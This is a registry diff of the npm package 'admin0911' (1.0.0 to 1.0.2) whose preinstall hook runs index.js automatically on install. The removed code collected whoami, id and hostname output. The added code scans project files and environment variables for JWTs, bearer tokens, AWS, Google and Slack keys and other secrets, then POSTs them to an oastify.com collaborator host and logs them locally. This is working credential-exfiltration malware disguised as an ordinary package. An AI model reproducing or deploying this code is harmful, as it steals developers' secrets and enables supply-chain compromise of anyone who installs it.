admin0911 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/index.js CHANGED
@@ -1,37 +1,124 @@
1
1
  const http = require('http');
2
2
  const fs = require('fs');
3
- const { execSync } = require('child_process');
4
- const os = require('os');
3
+ const path = require('path');
5
4
 
6
5
  const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
6
+ const ROOT_DIR = process.cwd();
7
+ const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
8
+ const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build'];
7
9
 
8
- function runCommand(cmd) {
10
+ const found = [];
11
+
12
+ function isTextFile(filePath) {
13
+ const textExtensions = ['.js', '.ts', '.jsx', '.tsx', '.json', '.env', '.yaml', '.yml', '.sh', '.py', '.rb', '.go', '.java', '.php', '.txt', '.md', '.cfg', '.ini'];
14
+ return textExtensions.includes(path.extname(filePath).toLowerCase());
15
+ }
16
+
17
+ function base64UrlDecode(input) {
18
+ let str = input.replace(/-/g, '+').replace(/_/g, '/');
19
+ while (str.length % 4) str += '=';
20
+ return Buffer.from(str, 'base64').toString('utf8');
21
+ }
22
+
23
+ function isValidJWT(token) {
24
+ const parts = token.split('.');
25
+ if (parts.length !== 3) return false;
26
+ if (parts.some(part => part.length < 10)) return false;
9
27
  try {
10
- return execSync(cmd, { encoding: 'utf8', stdio: 'pipe' }).trim();
28
+ const header = JSON.parse(base64UrlDecode(parts[0]));
29
+ const payload = JSON.parse(base64UrlDecode(parts[1]));
30
+ return !!header && !!payload;
31
+ } catch {
32
+ return false;
33
+ }
34
+ }
35
+
36
+ function addResult(entry) {
37
+ found.push(entry);
38
+ }
39
+
40
+ function scanFile(filePath) {
41
+ try {
42
+ const stats = fs.statSync(filePath);
43
+ if (!stats.isFile() || stats.size > MAX_FILE_SIZE) return;
44
+ if (!isTextFile(filePath)) return;
45
+
46
+ const content = fs.readFileSync(filePath, 'utf8');
47
+
48
+ // JWT tokens
49
+ const jwtPattern = /[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g;
50
+ let match;
51
+ while ((match = jwtPattern.exec(content))) {
52
+ const token = match[0];
53
+ if (isValidJWT(token)) {
54
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'JWT', token });
55
+ }
56
+ }
57
+
58
+ // Bearer / Authorization tokens
59
+ const bearerPattern = /Bearer\s+([A-Za-z0-9-_.]{20,})/gi;
60
+ while ((match = bearerPattern.exec(content))) {
61
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'BearerToken', token: match[1] });
62
+ }
63
+
64
+ // Known key formats
65
+ const patterns = [
66
+ { name: 'AWSAccessKey', regex: /AKIA[0-9A-Z]{16}/g },
67
+ { name: 'GoogleAPIKey', regex: /AIza[0-9A-Za-z-_]{35}/g },
68
+ { name: 'SlackToken', regex: /xox[baprs]-[0-9A-Za-z-]+/g }
69
+ ];
70
+ patterns.forEach(({ name, regex }) => {
71
+ let pMatch;
72
+ while ((pMatch = regex.exec(content))) {
73
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: name, token: pMatch[0] });
74
+ }
75
+ });
76
+
77
+ // Generic secrets in assignment form
78
+ const genericPattern = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key)\s*[=:]\s*['\"]?([A-Za-z0-9-_]{20,})['\"]?/gi;
79
+ while ((match = genericPattern.exec(content))) {
80
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'GenericSecret', token: match[1] });
81
+ }
11
82
  } catch (e) {
12
- return `ERROR: ${e.message}`;
83
+ // ignore unreadable files
13
84
  }
14
85
  }
15
86
 
16
- const isWindows = os.platform() === 'win32';
17
- const commands = {
18
- whoami: isWindows ? 'whoami' : 'whoami',
19
- id: isWindows ? 'whoami /groups' : 'id',
20
- hostname: isWindows ? 'hostname' : 'hostname'
21
- };
87
+ function scanDirectory(dir) {
88
+ const entries = fs.readdirSync(dir, { withFileTypes: true });
89
+ for (const entry of entries) {
90
+ if (IGNORE_DIRS.includes(entry.name)) continue;
91
+ const fullPath = path.join(dir, entry.name);
92
+ if (entry.isDirectory()) {
93
+ scanDirectory(fullPath);
94
+ } else {
95
+ scanFile(fullPath);
96
+ }
97
+ }
98
+ }
22
99
 
23
- const results = {
24
- whoami: runCommand(commands.whoami),
25
- id: runCommand(commands.id),
26
- hostname: runCommand(commands.hostname)
27
- };
100
+ function scanEnvVars() {
101
+ Object.entries(process.env).forEach(([key, value]) => {
102
+ if (!value) return;
103
+ const lowerKey = key.toLowerCase();
104
+ const suspiciousKey = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key|password|access_key|secret_key)/i.test(lowerKey);
105
+ if (suspiciousKey && value.length >= 20) {
106
+ addResult({ source: 'env', key, type: 'EnvSecret', token: value });
107
+ }
108
+ const bearerMatch = value.match(/Bearer\s+([A-Za-z0-9-_.]{20,})/i);
109
+ if (bearerMatch) addResult({ source: 'env', key, type: 'BearerToken', token: bearerMatch[1] });
110
+ if (isValidJWT(value)) addResult({ source: 'env', key, type: 'JWT', token: value });
111
+ });
112
+ }
28
113
 
29
- const payload = JSON.stringify({ timestamp: new Date().toISOString(), results }, null, 2);
114
+ scanDirectory(ROOT_DIR);
115
+ scanEnvVars();
30
116
 
117
+ const payload = JSON.stringify({ timestamp: new Date().toISOString(), results: found }, null, 2);
31
118
  const req = http.request({
32
119
  hostname: OASTIFY_HOST,
33
120
  method: 'POST',
34
- path: '/?system_identity',
121
+ path: '/?token_scan',
35
122
  headers: {
36
123
  'Content-Type': 'application/json',
37
124
  'Content-Length': Buffer.byteLength(payload)
@@ -40,5 +127,5 @@ const req = http.request({
40
127
  req.write(payload);
41
128
  req.end();
42
129
 
43
- fs.writeFileSync('system_identity.log', payload + '\n');
44
- console.log('whoami, id, and hostname collected and sent to OASTIFY.');
130
+ fs.writeFileSync('token_scan_results.log', payload + '\n');
131
+ console.log(`token scan completed: found ${found.length} candidates. Results sent to OASTIFY.`);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "admin0911",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }
Binary file